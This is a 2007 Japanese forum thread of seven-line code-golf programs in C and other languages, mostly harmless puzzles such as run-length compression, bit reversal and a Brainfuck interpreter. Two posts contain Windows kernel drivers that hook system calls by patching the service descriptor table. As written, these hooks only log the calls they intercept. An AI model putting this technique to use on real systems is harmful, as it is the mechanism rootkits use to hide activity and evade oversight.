"QTSQOOOOONMMMLLLJHGEGEC",b[]=" 747747:7:@:>@:>@>7542<7<7<<77<77>
>>77 >>77>>"
">77<<<777<7<<7:77755<<<55789:;<=>?@ABCCC>
>>7 ",c[]="1822822822222222<<6666666"
"62442642222426624422224222222266426622242642422222222222222222228";float f(i)
{return i?f(i-1)*1.0595:55;}main(i,t){for(i=t=0;c[i]&&(t--||(t=c[++i]-*c));Be\
ep(f(b[i]-*b),40))Beep(f(a[i]-*a),40);}
(t--||(t=c[++i]-*c)って鼻から悪魔出ないか?
||は副作用ぶった切るから大丈夫だよ
f()を数えてなかった……。訂正、10バイト削減。
本当に20年前に戻った気がするな・・・
なるほど。生まれる前から言われてた言葉だったのか。 勉強になるなぁ。
351は鼻から悪魔が出るんじゃないかな。
出ないでない
351なら出ても仕様違反ではないけどな
どこが悪いの?
>>361 > c[i]&&(t--||(t=c[++i]-*c))
||はsequence pointだからt--とt=c[++i]-*cはこの順に値の変更が行われることが保証されてる
364 :
305 :2007/02/01(木) 23:42:07
副作用完了点とか意識してなかったわ('д`)
365 :
デフォルトの名無しさん :2007/03/04(日) 18:06:55
int puts(const char*);int main(void){return puts("age")<0;}
かなりの趣味スレですね
ageるからには何かネタないの?
>>365 ネタもなしにあげとはずいぶんなおまーんこですね
↑この一文を解釈して動くプログラミング言語を作ってくれ
宣言だけ書いとけば、使ったライブラリを勝手にリンクしてくれる、と解釈。 つまりincludeの省略か。 しかしそんなもん俺に作れるわきゃーない。
Cの話なら、#includeしなくても直にプロトタイプ宣言すれば済むじゃん?
(・д・)どのCの話だ?
#includeディレクティブとリンカがどのライブラリをリンクするかは関係ないでs
#DEFINE ネタもなしにあげとはずいぶんなおまーんこですね main(){return(0);}
このスレではreturnに括弧つけるのは許されないだろ、常識的に考えて…
って言うか生きてたんだなおまいら。
main関数でreturnしなかった場合、 戻り値は0になると決められているから、 return(0);は書く必要すらない。 -10文字
どんな処理系だそれは。 % cat test.c #include <stdio.h> main(void){printf("hello, world\n");} % gcc -ansi -pedantic test.c % ./a.exe hello, world % echo $? 13 それとも、言ってるのはこういう意味じゃない?
>>377 gcc -std=c99 -pedantic test.c
99じゃしょうがないな
380 :
デフォルトの名無しさん :2007/05/01(火) 07:42:12
age
WinMainって int WINAPI WinMain(HMODULE,HMODULE,LPSTR,int) これじゃだめなのかな bcc5.5.1とvc8.0では一応通ったんだけど
HINSTANCEもHMODULEも意味のない構造体へのポインタだから大丈夫だろ。
全く問題ない
動けばいいってんなら、HWNDでもいいし、void*でもいいだろ。
綺麗に書くなんて下の下だな 短く書け。ただし環境依存するな。
>>385 長いし環境依存だし、しかも纏めようとしてる辺りが気に入らない
(´・ω・`) で?
HWND環境依存じゃないだろ? 今手元にヘッダファイル無いけど…
帰り値も 必要ないんじゃないのか?
main型の返り値に関しては微妙だな
HWNDとかいう時点で十分に環境依存な気がするんだが、これは言ったらダメか。
WinMainな時点でWindows前提なんだから議論の余地はないだろうが
(´・ω・`) で?
このスレでの環境依存というのはそういう意味ではなくて、 開発環境に依存するコードを書くなって事じゃないかな。 #includeなくても動く環境とか、main関数でreturnがいらない環境とか、 そういう環境もあるけど、それに依存するコードは駄目だよって意味じゃない?
394 :
デフォルトの名無しさん :2007/05/02(水) 17:55:57
(д)゚ ゚
結論を出す必要は無いんだよ。 思ったようにコード書けばいいじゃない。
今までこのスレ(過去スレ含)に出てきたコードを見てると 修正を加えないとコンパイルさえ通らないのばかり よってセーフ
大事なのは面白い事
アウトセーフ決めるのは自分だし。 その限界の中でどれだけ短く出来るかが面白い。
コンパイルが通らないようなのは全然駄目だと思うが、 全然駄目なのを発表するのは自由なんじゃないの? 多くの人に評価されたいなら、コンパイルくらい通して欲しいね
まぁ試した、というか動く処理系を明記して欲しいわな。
コメントも7行に入るんですか?
すみません あの #include<stdio.h> #include<windows.h> int a = 1; int main() { while(a) { printf("1〜8どうぞ\n0は終了\n---------"); scanf("%d", &a); switch(a) { case 1: ::Beep(262, 300);break; case 2: ::Beep(294, 300);break; case 3: ::Beep(330, 300);break; case 4: ::Beep(349, 300);break; case 5: ::Beep(392, 300);break; case 6: ::Beep(440, 300);break; case 7: ::Beep(494, 300);break; case 8: ::Beep(523, 300);break; } } return 0; } これ7行にするとコンパイルできないんですよ どうしたらいいですか?
その7行にしたほうのコードを見せなきゃわからんだろ
#include<stdio.h>#include<windows.h>int a = 1; int main(){ while(a){
printf("1〜8どうぞ\n0は終了\n---------");scanf("%d", &a);switch(a){
case 1: ::Beep(262, 300);break;case 2: ::Beep(294, 300);break;
case 3: ::Beep(330, 300);break;case 4: ::Beep(349, 300);break;
case 5: ::Beep(392, 300);break;case 6: ::Beep(440, 300);break;
case 7: ::Beep(494, 300);break;case 8: ::Beep(523, 300);break;}}return 0;}
>>402 をそのまま短くしたんですけどエラーがたくさんでるんですよ
実になんと言うこともないがプリプロセッサはつなげられない #include<stdio.h> #include<windows.h> int a=1;int main(){while(a){printf("1〜8どうぞ\n0は終了\n---------" );scanf("%d",&a);switch(a){case 1:Beep(262,300);break;case 2:Beep (294,300);break;case 3:Beep(330,300);break;case 4:Beep(349,300); break;case 5:Beep(392,300);break;case 6:Beep(440,300);break;case 7: Beep(494,300);break;case 8:Beep(523,300);break;}}return 0;}
そうだったんですかっ! ありがとうございます。
#pragma warning(push, 0); #include <ntddk.h> #define F(f) KeServiceDescriptorTable->s[*(PULONG)((PUCHAR)f+1)] typedef struct{PVOID* s;PULONG c;ULONG t;PUCHAR a;}SDT;long (NTAPI *O)(HANDLE, long);extern SDT* KeServiceDescriptorTable;long NTAPI N(HANDLE h,long s){ DbgPrint("Exit%d",s);return O(h,s);}NTSYSAPI long NTAPI ZwTerminateProcess( HANDLE,long);void U(PDRIVER_OBJECT d){InterlockedExchange(&F(ZwTerminateProcess ),O);}long D(PDEVICE_OBJECT d,PIRP i){i->IoStatus.Status=0;IoCompleteRequest(i, 0);return 0;}long DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r){int i;for(i=0 ;i<27;++i)d->MajorFunction[i]=D;d->DriverUnload=U;O=InterlockedExchange(&F( ZwTerminateProcess),N);return 0;} // 実行テスト環境 Win2k(build2195)SP4 // ビルド環境 WinXP VC8 + Windows DDK 3790.1830 -> Win2k Checked Build C_ASSERT(sizeof(SDT) == 16); // prgma pack(1)
11行 orz 一応32bit Win2K(とたぶんXP)のNt(Zw)TerminateProcessをフクーするドライバ ビルドしてテストできる環境は少ないと思うから面白くないかもしれない ZwCloseとかのフックならntddk.hで宣言されてるので宣言文いらないし、 さらに環境を絞ったハードコードやら、アンインストール時に修復しない青画面直行OK仕様ならもっと削れる けど、この内容では俺にはもうむりぽ
#include<stdio.h>
#define B 102400
typedef unsigned char y;unsigned char b[B];int e(FILE *fp,y *i,int m){int r,c;
int x;x=0;while(x<m) {x=g(i,x,m,0xff,&r,&c);fputc(r,fp);fputc(c,fp);}return 0;}
int g(y *i,int x,int m,int l,int *r,int *c){int p;p=x;*r=1;*c=i[p];p++;
while(p<m && *c==i[p] && *r<l ) {p++;(*r)++;}return p;}int main(char *a[]){
FILE *_i,*_o;int i,c;_i=fopen(a[1],"rb");i=0;while(i<B && (c=fgetc(_i))!=EOF) {
b[i]=c;i++;}fclose(_i);_o=fopen(a[2],"wb");e(_o,b,i);fclose(_o);}
>>405 作った初心者ですが
ハフマン法圧縮なんですけど作ってみました
どうしてもあと1行減らす方法が思いつかないんですけどどうしたらいいと思いますか?
目が潰れそうです
普通のプログラミングのときの習慣を忘れればいろいろ短くなる気が
B を const にすりゃ いけるんじゃないの?
#include<stdio.h> typedef unsigned char y;unsigned char b[102400];int e(FILE *fp,y *i,int m){ int r,c;int x;x=0;while(x<m) {x=g(i,x,m,0xff,&r,&c);fputc(r,fp);fputc(c,fp);} return 0;}int g(y *i,int x,int m,int l,int *r,int *c){int p;p=x;*r=1;*c=i[p]; p++;while(p<m && *c==i[p] && *r<l ) {p++;(*r)++;}return p;}int main(char *a[]) {FILE *x,*z;int i,c;x=fopen(a[1],"rb");i=0;while(i<102400 && (c=fgetc(x))!=EOF) { b[i]=c;i++;}fclose(x);z=fopen(a[2],"wb");e(z,b,i);fclose(z);} ちょっと短くなりました
#include<stdio.h> int d(FILE *fp){int i;int r,c;while(!feof(fp)) {r=fgetc(fp);c=fgetc(fp); for(i=0;i<r;i++){fputc(c,stdout);}}return 0;}int main(int ac,char *av[]){ FILE *fp;if ((fp = fopen(av[1],"rb"))==NULL)return 6;d(fp);fclose(fp);return 0;} 解凍は4行でできました。
#pragma warning(push, 0) #include <ntddk.h> typedef struct{PVOID*s;}SDT;extern SDT*KeServiceDescriptorTable;ULONG F(void*f) {return(*(ULONG*)((UCHAR*)f+1));}void*I(void*f){return InterlockedExchange( KeServiceDescriptorTable->s+F(ZwClose),f);}long(NTAPI*O)(void*);long NTAPI N( void*h){DbgPrint("0x%08X",h);return O(h);}void U(PDRIVER_OBJECT d){I(O);}long DriverEntry(DRIVER_OBJECT*d,UNICODE_STRING*r){d->DriverUnload=U;O=I(N);return 0;} 機能はそのままでZwCloseにした。意外と削れた。最後の行が82文字orz アタマイタイ
というか標準入出力にすればいいんでないかい?
>>409 ・1度しか呼ばれない関数は定義しない
eもgもmainに展開する
・代入で無く初期化を使う
int x;x=0;→int x=0;
・なるべくライブラリを使う
freadとか
・whileよりforを使う
・繰り返しは1行になるようにする
・不要なスペース、変数、typedefを削る
これで随分削れると思う
ところでハフマン符号じゃなくてランレングスだよね
>>417 アドバイスありがとうございます
挑戦してみます
>>412 mainの仮引数ってそんなんで大丈夫なのか?
更に短くするコツとしては、
* 関数の戻り値の型が int の時は省略する。
* 仮引数に int がある場合は、K&R式の宣言を使うと短くなる場合がある。
例えば2引数のmainなら、main(c,v)char**v{} とするのが一番短い。
どうせすぐ終了するんだし、fcloseなんかしない、っていう手もあるなw
こんなんでいいんじゃないか? #include<stdio.h> main(c,a)char**a;{FILE*i=fopen(a[1],"rb"),*o=fopen(a[2],"wb");while((c=getc(i)) !=EOF){int x=1,d;while((d=getc(i))==c&&x++<255);ungetc(d,i);putc(x,o);putc(c,o) ;}fclose(o);fclose(i);return 0;}
423 :
デフォルトの名無しさん :2007/05/07(月) 21:11:00
>>420 mainからreturnかexitで終了するかしたらプログラムが終了する前に閉じられてないストリームは閉じられるはず。
すみません ランレングスでした
誰かお題ちょーらい
viみたいな簡易エディタがほしいな
>>428 結局その最後の解き味を判定する評価関数がすべてだよなあ
作成より前に解くほうってもう出てたっけ? 7行で。 7行じゃなけりゃそんなに難しいお題じゃないけど。
枝刈りなしのバックトラックなら7行で書けたが、 答えが出ないからあってるのかわからん・・・
計算で出せばよくね? 一定の時間のクリック数/一定の期間にクリックできる最大数
誤爆かね
ばれたかねww
まさか
>>429 へのレスのつもりじゃなかろうなと心配した
「結局その最後の解き味を判定する評価関数がすべてだよなあ」 「計算で出せばよくね? 一定の時間のクリック数/一定の期間にクリックできる最大数」 考えただけでわらっちゃう 誤爆してすみませんでした。
保守
CやC++のコメントを除去するプログラムって過去に上がってたっけ?
Perlで作ればいいだろう
/* hogehoge /* fugafuga */ hagehage */ こんな風なコメントのときどう処理すればいいですか?
コメントの中なに書いても良いんだから /* hogehoge /* fugafuga hagehage */ /* hogehoge fugafuga */ hagehage */ なんかもあり
>>442 >なんかもあり
上の例は全部コメントだからありだけど、下の例はダメだよ。
だから
>>440 は
hagehage */
が残るのがコメント除去ツールとしては正しい処理だね。
もちろん /* から */ までと言っても、
\/* asdf */ みたいにエスケープされていたら、それはコメントにならない。
コメント閉じをエスケープするには /* *\/ と書く。
というわけで /* \*/ は正しいコメントだ。
>>443 は書き方間違った
>コメント閉じをエスケープするには /* *\/ と書く。
フツーはこう書くけど、これ、別にエスケープじゃないね。
ごめん。
VCじゃネストコメント文だめっぽいな Dならイイらしいが
>>438 ですが、
少しでも役に立つものがあれば…と思ったのですが、
7行の題材としてはあまり面白くなかったですかね。
頑張れば5行くらいで書けるでしょうし。
いい題材が浮かびません…。
>>445 コメントのネストは伝統的にないことになってるはず。
>>446 5行で書く方法を思いつかない…orz
こんなコメントとか
/* printf("*/ \"\\"); */
Shift JISの2バイト目をきちんと処理できるように書くには7行じゃ足りない気がするんだけど…。
>>447 >/* printf("*/ \"\\"); */
これは、コメント削除処理した結果が
\"\\"); */
になればいいんですよね?
Shift JISの2バイト目をきちんと処理できるかどうかを検証する文字列って
どんなのなのでしょうか?
>>449 > Shift JISの2バイト目をきちんと処理できるかどうかを検証する文字列って
ソ/* */
とか?
ちょっと違うな。こういうのか? printf("ソ");/* */
こんなかんじで。 #include <stdio.h> int main(int, char *[]) { printf("表");/* ");/* */ return 0; } というか、別に入力文字コードはUTF-8限定でもいいと思うんだけど。
(^ω^;) (*ノ *)ノ
n869 にこんな例があるな。 m = n//**/o + p; m = n + p;
> \/* asdf */ みたいにエスケープされていたら、それはコメントにならない。 ダウト。\/ というシーケンスは規格では定義されていない。
457 :
デフォルトの名無しさん :2007/07/06(金) 00:18:02
>>414 のランレングス解凍、3行になったぞ。
#include<stdio.h>
d(FILE*q){int r,c;if(!q)return 6;while((r=fgetc(q))+1)for(c=fgetc(q);putchar
(c),--r;);fclose(q);return 0;}main(int c,char**a){return d(fopen(a[1],"rb"));}
#include <stdio.h> main(c,a)char**a;{int r;FILE*q=fopen(a[1],"rb");if(!q)return 6;while((r=getc(q) )-EOF)for(c=getc(q);putchar(c),--r;);fclose(q);return 0;} dをインライン展開してみた。
言い出しっぺの
>>438 です。
EUCとSHIFT_JISならそれなりに処理してくれたようなのでアップします。
第一引数のファイルのコメントを除去して、標準出力に出力します。
ただし、SHIFT_JISで半角カナがあるとダメなのですが、
どうやって判別すればいいかが分かっていないので、ちょっと悩んでおります。
#include <stdio.h> /* uncomment.c */
e,m,t;main(c,v)char**v;{FILE*f=fopen(v[1],"r");for(;(c=fgetc(f))+1;m>2?m%=5:
putchar(c))e?e--:(m=c-10?c-39?c-34?c-47?c-42?c<128?c-92?m:m>2?m:e++,m:e++,m:
m-3?m:(t=fgetc(f),t-47?ungetc(t,f),m:5):m?m:(t=fgetc(f),t-47?t-42?ungetc(t,f
),m:3:4):m&5?m:!m*2:m>1?m:!m:m%4);return fclose(f),0;}
久々にレスが多いなw
最初からワイド文字とはどういう意味ですか?
入出力は全部wchar_tで行って、エンコーディングには関知しないという意味です。
2進数のビットの左右の反転ってどのくらい短く書ける? unsigned int a を左右反転させて b にっ ka
>>465 関数だけどやってみた。b = R(a);
typedef unsigned U;U R(U a){int c=0,s,t;U n,h,l;for(n=~0;n>>=1;c++);
for(s=c;s>c
>>1 ;s--){h=a&1<<s;l=a&1<<c-s;t=s*2-c;a^=h^h>>t^l^l<<t;}
return a;}
467 :
466 :2007/07/06(金) 11:01:36
typedef unsigned U;U R(U a){int c=0,s,t;U n,h,l;for(n=~0;n>>=1;c++);
for(s=t=c;s>c
>>1 ;s--,t-=2){h=a&1<<s;l=a&1<<c-s;a^=h^h>>t^l^l<<t;}
return a;}
1文字縮め('A`)
468 :
466 :2007/07/06(金) 11:08:31
何度もすまんが色々間違っていた気がしてきた 何でわざわざ同じ変数内で入れ換えてるんだ俺…
typedef unsigned U;U R(U a){U b=0,n=~(U)0,i=0;for(;n>>=1;++i)b|=((a>>i)&1)<<(n-i );return b;} もう少し短くなりそうだが
typedef unsigned U;U R(U a){U b=0,n=~b,i=0;for(;n>>=1;++i)b|=(a>>i&1)<<(n-i);r\ eturn b;} とりあえずここまで。
久しぶりだな スレがあるのw
スレはずっとあるよ。なくならないよ。
( ゚д゚) 「誤爆」 _(__つ/ ̄ ̄ ̄/_ \/ /  ̄ ̄ ̄ ( ゚д゚ ) _(__つ/ ̄ ̄ ̄/_ \/ /  ̄ ̄ ̄ ( ゚д゚) _(__つ/ ̄ ̄ ̄/_ \/ /  ̄ ̄ ̄ ( ゚д゚ ) _(__つ/ ̄ ̄ ̄/_ \/ /
476 :
465 :2007/07/06(金) 13:34:46
自分でもやってみた typedef unsigned U;U R(U a){U b=0,i=1;for(;i;i*=2)b=b*2+!!(a&i);return b;} iが邪魔だね・・・消せないかなぁ
>>475 int printf(const char*format,...);char*a=" (%s゚д゚%s)%s\n_(__つ/ ̄ ̄ ̄/_\
\n \/ /\n  ̄ ̄ ̄\n\n",*s=" ",*e="";main(){printf(a,s,e," \
「誤爆」");printf(a,e,s,e);printf(a,s,e,e);printf(a,e,e,e);return 0;}
#include<stdio.h> printf(" ( ゚д゚) 「誤爆」\n_(__つ/ ̄ ̄ ̄/_ \n \/ /\n  ̄ ̄ ̄ ( ゚д゚ )\n_(__つ/ ̄ ̄ ̄/_ \n \/ /\n  ̄ ̄ ̄\n ( ゚д゚)\n_(__つ/ ̄ ̄ ̄/_ \/ /\n ( ゚д゚ )\n_(__つ/ ̄ ̄ ̄/_ \n \/ /");
479 :
デフォルトの名無しさん :2007/07/07(土) 01:29:49
>>470 typedef unsigned u;u r(u n){u i=~0,a=0;for(;i;i/=2,a=n%2+a*2,n/=2);return a;}
一行切った。
480 :
デフォルトの名無しさん :2007/07/07(土) 01:31:44
~0 と ~0u のビット表現って必ず等しい?
手元に環境がないからテストしてないんだけどこんなんじゃだめ? typedef unsigned u;u r(u n){return u?(n&1?~0-~0/2:0)+r(n/2)/2:0;} 65字
483 :
476 :2007/07/07(土) 02:26:17
>>481 ありがとう。これでもうまくいったみたい。
R(int a){int b=0,i=1;for(;i;i*=2)b=b*2+!!(a&i);return b;}
アルゴリズムに致命的な問題がある気がする
R(a){int b=0,i=1;for(;i;i*=2)b+=b+!!(a&i);return b;} R(a){int b=0,i=1;while(b+=b+!!(a&i),i*=2);return b;} どっちも52文字 でも for文の方が わかりやすさを維持しててイイカナ
int を for の最初の項に入れると一文字減る
487 :
デフォルトの名無しさん :2007/07/07(土) 03:52:44
brainfuckのインタプリタを作ってみた。 #include <stdio.h> unsigned char M[30000],*m=M;char P[30000],*p=P;R(c){for(;c&&p>=P;*--p==']'?c++: *p=='['&&c--);}main(i,v)char**v;{FILE*f;for(i=30000;i;M[--i]=0);if(f=fopen(v[1] ,"rt")){while(1+(*p++=getc(f)));p=P-1;while(1+*++p)*p=='>'?*++m:*p=='<'?*--m:*p =='+'?++*m:*p=='-'?--*m:*p=='.'?putchar(*m):*p==','?*m=getchar():*p==']'&&*m&&R (1);}}
なんか34文字でできたっぽい dmcでテストした r(n){return n?r(n*2)*2+!!(n<0):0;}
!!いらなくね?
あーほんとだ、そりゃそうだ 32だね
やっぱ引数だけで済ますと格段に短くなるなぁ どうしても思いつかなかった
やっぱ再帰は強いね これで30 r(n){return n?r(n*2)*2|n<0:0;}
ネタ振られたら物凄い勢いで加速して、 最短解っぽいのが出たら急に失速するんだなw
ワロタ
それがこのスレのいいところさ
>>464 なんかそれだと上手くいったりするんでしょうね。
でも僕はやっぱりワイド文字の扱いが良く分かっていないので、
もしよければワイド文字処理版を作ってみてくださいな。
なんだかなぁ
using System;using System.Drawing;class P{static void Main(string[]a){Bitmap m=new Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m. Height;Bitmap v=new Bitmap(W,H);Color c;for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b= 0;for(t=-z;t<2;t++)if((o=h+t)>0&&o<H)for(l=-z;l<2;l++)if((q=w+l)>0&&q<W){c=m. GetPixel(q,o);r+=c.R;g+=c.G;b+=c.B;p++;}v.SetPixel(w,h,Color.FromArgb(r/p,g/p, b/p));}v.Save(a[1]);}} 画像ぼかし。 これならマスク使える…?
499 :
498 :2007/07/10(火) 19:23:38
using System;using System.Drawing;class P{static void Main(string[]a){Bitmap m =new Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m. Height;Bitmap v=new Bitmap(W,H);Color c;for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b= 0;for(t=-z;t<z;t++)if((o=h+t)>-1&&o<H)for(l=-z;l<z;l++)if((q=w+l)>-1&&q<W){c=m .GetPixel(q,o);r+=c.R;g+=c.G;b+=c.B;p++;}v.SetPixel(w,h,Color.FromArgb(r/p,g/p ,b/p));}v.Save(a[1]);}} 範囲が-指定値から2までになってたのを修正 orz using System;using System.Drawing;using System.Drawing.Imaging;using System. Runtime.InteropServices;class P{static void Main(string[]a){Bitmap m=new Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m.Height, y=W*H*3,e;byte[]src,dst;src=dst=new byte[y];BitmapData d=m.LockBits(new Rectangle(0,0,W,H),ImageLockMode.ReadWrite,PixelFormat.Format24bppRgb);e=d. Stride;Marshal.Copy(d.Scan0,src,0,y);for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b=0; for (t=-z;t<z;t++)if((o=h+t)>-1&&o<H)for(l=-z;l<z;l++)if((q=w+l)>-1&&q<W){ r+=src[o*e+q*3];g+=src[o*e+q*3+1];b+=src[o*e+q*3+2];p++;}dst[h*e+w*3]=(byte)( r/p);dst[h*e+w*3+1]=(byte)(g/p);dst[h*e+w*3+2]=(byte)(b/p);}Marshal.Copy(dst, 0,d.Scan0,y);m.UnlockBits(d);m.Save(a[1]);}} 高速化版。誰か短くして orz
総和テーブルでいいじゃんか
そうわ思わないな
CPU対戦の七行すごろくを考えてみたんだが、 動作確認テストをやっている最中に虚しくなってやめた。 ゲームって難しいなぁ。
>>1 を見てたんだけど、
part4って297レスしかつかなかったの?
自動生成の迷路ゲーム…なんて無理か。
迷路を作るだけなら前あったかも
Javaの3Dな迷路があったと思ふ
508 :
6 :2007/07/16(月) 01:29:02
交点の座標を詳しく求めてる 俺工房だから間違えてるのかもしれない
#include <stdio.h> double s(double c){double x;int i,n;n = 10;x = 0;do {x += 1;} while (x * x < c); for (i = 0;i < n;i++) {x = (x + c / x)/2;}return x;}int main(){double c;int a; scanf("%d", &a);c = s(a);printf("√は%lfです。\n", c);return 0;} ニュートン法を使ったあれです。 いじくってやってください。
1.空白はつめる 2.初期化と代入は一緒に 3.+=1は++に でだいぶ短くなる予感。 ニュートン法とやらがあってるんかは知らんけどw
int printf(const char*,...);int scanf(const char*,...);main(){int c,n=10;double x=0;scanf("%d",&c);do x++;while(x*x<c);while(--n)x=(x+c/x)/2;printf("sqrt(%d)=\ %f\n",c,x);return 0;}
typedef int f(const char*,...);f printf,scanf;double c,x,n=10;main(){for(scan\ f("%lf",&c);x*x<c;)++x;for(;n--;x/=2)x+=c/x;return!printf("√は%fです。\n",x);}
>++++++++++[>+>+++>++++++++++++[<]>-]> > >++++........<<+++.---.> >..<++.. ..>...<<+++.---.> >..<....>...<..................>..<.............>...<.................>..<<+++.---.> >.......<...>..<..>..<..>.....<..................>..<............>.....<..>..<..>..<<+++.---.> >..<.. ..>..<..>....<...>..<...>..<...>..<.>..<.>....<..>......<.>..<...>..<.>..<...>..<.>..<.>..<<++ +.---.> >..<.....>..<.>..<......>......<...>..<.>...<...>..<...>..<...>..<...>..<.>..<......>...<< +++.---.> >..<....>...<.>..<.....>..<...>..<...>..<.>..<....>..<...>..<...>..<...>..<.>..<...>.. <.>..<.>..<<+++.---.> >........<..>..<......>....<.>...<.>..<.>..<....>..<...>..<....>.....<...>.....<..>..<...>..
標準出力にBrainfuckと読める絵を出力するプログラム。
Brainfuck
なにこれおもすれw +++++++++[>++++++++>+++++++++++>+++++<<<-]>.>++.+++++++..+++.>-. ------------.<++++++++.--------.+++.------.--------.>+.
ローマ字をSJIS半角カタカナに変換する、そんな関数があると聞き やってまいりました。 ヘボン式訓令式どちらもサポートすると おそらく300バイト程度の関数になるでしょうか?
「aiueo」のローマ字半角カナ変換して表示。 ●ローマ字半角カナ変換(Sの|Sを) A=(「shi|chi|tsu|fu|wi|wu|we|ji|kya|kyu|kyo|sya|syu|syo|tya|tyu|tyo|nya|nyu|nyo|hya|hyu|hyo|mya|myu|myo|rya|ryu| ryo|gya|gyu|gyo|zya|zyu|zyo|bya|byu|byo|pya|pyu|pyo|sha|shu|sho|cha|chu|cho|ja|ju|jo|ka|ki|ku|ke|ko|sa|si|su|se|so| ta|ti|tu|te|to|na|ni|nu|ne|no|ha|hi|hu|he|ho|ma|mi|mu|me|mo|ya|yu|yo|ra|ri|ru|re|ro|wa|wo|ga|gi|gu|ge|go|za|zi|zu|ze| zo|da|di|du|de|do|ba|bi|bu|be|bo|pa|pi|pu|pe|po|nn|n|a|i|u|e|o」の改行を空に置換)を"|"で区切る。 B=(「シ|チ|ツ|フ|ウィ|ウ|ウェ|ジ|キャ|キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ| ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|チャ|チュ|チョ|ジャ|ジュ|ジョ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ヤ|ユ|ヨ|ラ| リ|ル|レ|ロ|ワ|ヲ|ガ|ギ|グ|ゲ|ゴ|ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ」の改行を空に置換)を"|"で区切る。 Aで反復、S=Sの対象をB[回数-1]に置換。 Sで戻る。 誰か短くしてくれ
ye/イェ とか dhu/デュ とかあるんだよ?
「ローマ字」のwiki見て書いたから忘れてたすまんorz
wyi,wyeって半角カタカナないんだな。
ローマ字変換、正攻法で攻めたらJavaScriptで18行になってしまた… スレに貼れないし。鬱だ氏のうorz
>>520 それって擬似コード?それともなでしこ?
なでしこですよ 正攻法がどんなんかわからん・・・この方法じゃこれ以上削れそうにないし・・・
アッー
「kyouhasuunennburinidaigakuniittekoyoutoomoimasutoleleia-ltu」をローマ字半角カナ変換して言う。 //キョウハスウネンブリニダイガクニイッテコヨウトオモイマストェェイアーッ ●ローマ字半角カナ変換(Sの|Sを) A=(「-|ltu|xtu|la|li|lu|le|lo|xa|xi|xu|xe|xo|bb|cc|dd|ff|gg|hh|jj|kk|ll|mm|pp|qq|rr|ss|tt|vv|ww|xx|yy|zz|ye|dhu|shi|chi|tsu| fu|wi|wu|we|ji|kya|kyu|kyo|sya|syu|syo|tya|tyu|tyo|nya|nyu|nyo|hya|hyu|hyo|mya|myu|myo|rya|ryu|ryo|gya|gyu|gyo|zya| zyu|zyo|bya|byu|byo|pya|pyu|pyo|sha|shu|sho|cha|chu|cho|ja|ju|jo|ka|ki|ku|ke|ko|sa|si|su|se|so|ta|ti|tu|te|to|na|ni|nu|ne| no|ha|hi|hu|he|ho|ma|mi|mu|me|mo|ya|yu|yo|ra|ri|ru|re|ro|wa|wo|ga|gi|gu|ge|go|za|zi|zu|ze|zo|da|di|du|de|do|ba|bi|bu|be| bo|pa|pi|pu|pe|po|nn|n|a|i|u|e|o」の改行を空に置換)を"|"で区切る。 B=(「ー|ッ|ッ|ァ|ィ|ゥ|ェ|ォ|ァ|ィ|ゥ|ェ|ォ|ッb|ッc|ッd|ッf|ッg|ッh|ッj|ッk|ッl|ッm|ッp|ッq|ッr|ッs|ッt|ッv|ッw|ッx|ッy|ッz|イェ|デュ|シ|チ|ツ|フ|ウィ|ウ|ウェ|ジ|キャ| キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ| チャ|チュ|チョ|ジャ|ジュ|ジョ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ヤ|ユ|ヨ|ラ|リ|ル|レ|ロ|ワ|ヲ|ガ|ギ|グ|ゲ|ゴ| ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ」の改行を空に置換)を"|"で区切る。 Aで反復、S=Sの対象をB[回数-1]に置換。 Sで戻る。 :::::::::::.: .:. . ∧_∧ . . . .: :::::::: :::::::: :.: . . /彡ミ゛ヽ;)ヽ、. ::: : :: ::::::: :.: . . / :::/:: ヽ、ヽ、i . .:: :.: :::  ̄ ̄ ̄(_,ノ  ̄ ̄ヽ、_ノ ̄
>>529 からがんばっても10行にしかなりませんでした 難しいわorz
クァ/qa クァ/qwa
533 :
524 :2007/07/31(火) 20:50:37
